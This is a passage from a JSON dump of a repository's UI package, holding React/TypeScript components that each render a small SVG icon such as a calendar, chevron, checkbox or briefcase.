    "content": "import { SVGProps } from \"react\";\n\nexport function BoxArchive(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.75,6.25v7c0,1.105-.895,2-2,2H5.25c-1.105,0-2-.895-2-2V6.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"3.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7\"\n          x2=\"11\"\n          y1=\"9.25\"\n          y2=\"9.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/brackets-curly.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BracketsCurly(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.25,15.25h-1c-1.105,0-2-.895-2-2v-2.625c0-.897-.728-1.625-1.625-1.625,.897,0,1.625-.728,1.625-1.625v-2.625c0-1.105,.895-2,2-2h1\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.75,15.25h1c1.105,0,2-.895,2-2v-2.625c0-.897,.728-1.625,1.625-1.625-.897,0-1.625-.728-1.625-1.625v-2.625c0-1.105-.895-2-2-2h-1\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/briefcase-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BriefcaseFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M11.75,5.5c-.414,0-.75-.336-.75-.75V2.25c0-.138-.112-.25-.25-.25h-3.5c-.138,0-.25,.112-.25,.25v2.5c0,.414-.336,.75-.75,.75s-.75-.336-.75-.75V2.25c0-.965,.785-1.75,1.75-1.75h3.5c.965,0,1.75,.785,1.75,1.75v2.5c0,.414-.336,.75-.75,.75Z\"\n          fill=\"currentColor\"\n        />\n        <rect\n          height=\"12\"\n          width=\"16\"\n          fill=\"currentColor\"\n          rx=\"2.75\"\n          ry=\"2.75\"\n          x=\"1\"\n          y=\"4\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/brush.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Brush(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.75\"\n          x2=\"10.75\"\n          y1=\"1.75\"\n          y2=\"5.25\"\n        />\n        <path\n          d=\"M3.75,8.75V3.75c0-1.105,.895-2,2-2H14.25v7\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M3.75,8.75v1.5c0,1.104,.895,2,2,2h2l-.25,3.5c0,.828,.672,1.5,1.5,1.5s1.5-.672,1.5-1.5l-.25-3.5h2c1.105,0,2-.896,2-2v-1.5H3.75Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/bullet-list-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BulletListFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M15.75,10.5h-7.5c-.414,0-.75,.336-.75,.75s.336,.75,.75,.75h7.5c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M15.75,14h-7.5c-.414,0-.75,.336-.75,.75s.336,.75,.75,.75h7.5c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M15.75,3.5h-7.5c-.414,0-.75,.336-.75,.75s.336,.75,.75,.75h7.5c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M15.75,7h-7.5c-.414,0-.75,.336-.75,.75s.336,.75,.75,.75h7.5c.414,0,.75-.336,.75-.75s-.336-.75-.75-.75Z\"\n          fill=\"currentColor\"\n        />\n        <circle cx=\"3.75\" cy=\"4.25\" fill=\"currentColor\" r=\"2.25\" />\n        <circle cx=\"3.75\" cy=\"11.25\" fill=\"currentColor\" r=\"2.25\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/bullet-list.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function BulletList(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.25\"\n          x2=\"15.75\"\n          y1=\"11.25\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.25\"\n          x2=\"15.75\"\n          y1=\"14.75\"\n          y2=\"14.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.25\"\n          x2=\"15.75\"\n          y1=\"4.25\"\n          y2=\"4.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"8.25\"\n          x2=\"15.75\"\n          y1=\"7.75\"\n          y2=\"7.75\"\n        />\n        <circle\n          cx=\"3.75\"\n          cy=\"4.25\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.75\"\n          cy=\"11.25\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/calculator.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Calculator(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"14.5\"\n          width=\"10.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"3.75\"\n          y=\"1.75\"\n        />\n        <rect\n          height=\"1\"\n          width=\"5.5\"\n          fill=\"currentColor\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"6.25\"\n          y=\"4.25\"\n        />\n        <circle cx=\"6.25\" cy=\"11\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"6.25\" cy=\"8.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"9\" cy=\"8.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"11.75\"\n          cy=\"8.25\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"9\" cy=\"11\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"6.25\"\n          cy=\"13.75\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"9\" cy=\"13.75\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"11.75\"\n          y1=\"11\"\n          y2=\"13.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/calendar-days.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CalendarDays(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5.75\"\n          y1=\"2.75\"\n          y2=\".75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"12.25\"\n          y1=\"2.75\"\n          y2=\".75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"15.75\"\n          y1=\"6.25\"\n          y2=\"6.25\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"13.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.25\"\n          y=\"2.75\"\n        />\n        <path\n          d=\"M9,8.25c-.551,0-1,.449-1,1s.449,1,1,1,1-.449,1-1-.449-1-1-1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M12.5,10.25c.551,0,1-.449,1-1s-.449-1-1-1-1,.449-1,1,.449,1,1,1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M9,11.25c-.551,0-1,.449-1,1s.449,1,1,1,1-.449,1-1-.449-1-1-1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M5.5,11.25c-.551,0-1,.449-1,1s.449,1,1,1,1-.449,1-1-.449-1-1-1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M12.5,11.25c-.551,0-1,.449-1,1s.449,1,1,1,1-.449,1-1-.449-1-1-1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/calendar-refresh.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CalendarRefresh(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5.75\"\n          y1=\"2.75\"\n          y2=\".75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"12.25\"\n          y1=\"2.75\"\n          y2=\".75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"15.75\"\n          y1=\"6.25\"\n          y2=\"6.25\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"14.25 13.25 16.75 13.25 16.75 10.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M15.75,8.473v-3.723c0-1.104-.895-2-2-2H4.25c-1.105,0-2,.896-2,2V13.25c0,1.104,.895,2,2,2h4.667\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16,15.887c-.501,.531-1.212,.863-2,.863-1.519,0-2.75-1.231-2.75-2.75s1.231-2.75,2.75-2.75c1.166,0,2.162,.726,2.563,1.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/calendar.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CalendarIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"5.75\"\n          x2=\"5.75\"\n          y1=\"2.75\"\n          y2=\".75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12.25\"\n          x2=\"12.25\"\n          y1=\"2.75\"\n          y2=\".75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"2.25\"\n          x2=\"15.75\"\n          y1=\"6.25\"\n          y2=\"6.25\"\n        />\n        <rect\n          height=\"12.5\"\n          width=\"13.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.25\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/calendar6.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Calendar6(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_5_25259)\">\n        <path\n          d=\"M5.75 3.25V1.25\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M12.25 3.25V1.25\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M13.75 3.25H4.25C3.14543 3.25 2.25 4.14543 2.25 5.25V13.75C2.25 14.8546 3.14543 15.75 4.25 15.75H13.75C14.8546 15.75 15.75 14.8546 15.75 13.75V5.25C15.75 4.14543 14.8546 3.25 13.75 3.25Z\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M2.25 6.75H15.75\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_5_25259\">\n          <rect\n            width=\"18\"\n            height=\"18\"\n            fill=\"white\"\n            transform=\"translate(0 0.5)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cards.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Cards(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"10.5\"\n          width=\"8.5\"\n          fill=\"none\"\n          rx=\"1\"\n          ry=\"1\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"1.75\"\n          y=\"1.75\"\n        />\n        <path\n          d=\"M13,5.258l2.283,.6c.534,.141,.853,.688,.712,1.222l-2.292,8.703c-.141,.534-.688,.853-1.222,.712l-6.491-1.71\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/caret-up-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CaretUpFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M10.478,3.389c-.323-.509-.875-.812-1.478-.812s-1.155,.304-1.478,.812L2.497,11.313c-.341,.539-.362,1.222-.055,1.781s.895,.906,1.533,.906H14.024c.638,0,1.226-.347,1.533-.906s.287-1.242-.055-1.781L10.478,3.389Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/chart-activity2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ChartActivity2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M16.25,8.75h-2.297c-.422,0-.798,.265-.941,.661l-1.647,4.575c-.12,.334-.594,.328-.706-.008L7.341,4.022c-.112-.336-.586-.342-.706-.008l-1.647,4.575c-.143,.397-.519,.661-.941,.661H1.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/chart-area2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ChartArea2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M14.25,14.25H3.75c-1.105,0-2-.895-2-2v-2.793c0-.133,.053-.26,.146-.354l2.809-2.809c.17-.17,.438-.195,.637-.058l3.36,2.31c.178,.122,.414,.117,.585-.014L15.448,3.859c.329-.25,.802-.015,.802,.398v7.993c0,1.105-.895,2-2,2Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/chart-line.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ChartLine(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g\n        fill=\"none\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.5\"\n        stroke=\"currentColor\"\n      >\n        <path d=\"M2.75 10.75L6.396 7.10401C6.591 6.90901 6.908 6.90901 7.103 7.10401L10.396 10.397C10.591 10.592 10.908 10.592 11.103 10.397L15.249 6.25101\"></path>{\" \"}\n        <path d=\"M2.75 2.75V12.75C2.75 13.855 3.645 14.75 4.75 14.75H15.25\"></path>\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Check(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"2.75 9.25 6.75 14.25 15.25 3.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/check2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Check2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.5,14c-.192,0-.384-.073-.53-.22l-3.75-3.75c-.293-.293-.293-.768,0-1.061s.768-.293,1.061,0l3.22,3.22L14.72,3.97c.293-.293,.768-.293,1.061,0s.293,.768,0,1.061L7.03,13.78c-.146,.146-.338,.22-.53,.22Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/checkbox-checked-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CheckboxCheckedFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13.25,2H4.75c-1.517,0-2.75,1.233-2.75,2.75V13.25c0,1.517,1.233,2.75,2.75,2.75H13.25c1.517,0,2.75-1.233,2.75-2.75V4.75c0-1.517-1.233-2.75-2.75-2.75Zm-.407,4.708l-4.25,5.5c-.136,.176-.343,.283-.565,.291-.01,0-.019,0-.028,0-.212,0-.415-.09-.558-.248l-2.25-2.5c-.277-.308-.252-.782,.056-1.06,.309-.276,.782-.252,1.06,.056l1.648,1.832,3.701-4.789c.252-.328,.726-.388,1.052-.135,.328,.253,.388,.724,.135,1.052Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/checkbox-unchecked.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CheckboxUnchecked(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"12.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.75\"\n          y=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/chevron-left.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ChevronLeft(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"11.5 15.25 5.25 9 11.5 2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/chevron-right.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ChevronRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"6.5 2.75 12.75 9 6.5 15.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/chevron-up.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ChevronUp(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"2.75 11.5 9 5.25 15.25 11.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-arrow-right.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleArrowRight(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"14\"\n      height=\"14\"\n      viewBox=\"0 0 14 14\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_35157_79425)\">\n        <path\n          d=\"M6.03687 5.21289H8.78672V7.96275\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M8.78746 5.21327L5.21265 8.78809\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M6.99997 12.6391C10.1142 12.6391 12.6389 10.1145 12.6389 7.00022C12.6389 3.88594 10.1142 1.36133 6.99997 1.36133C3.8857 1.36133 1.36108 3.88594 1.36108 7.00022C1.36108 10.1145 3.8857 12.6391 6.99997 12.6391Z\"\n          stroke=\"#737373\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_35157_79425\">\n          <rect width=\"14\" height=\"14\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-check-fill.tsx",
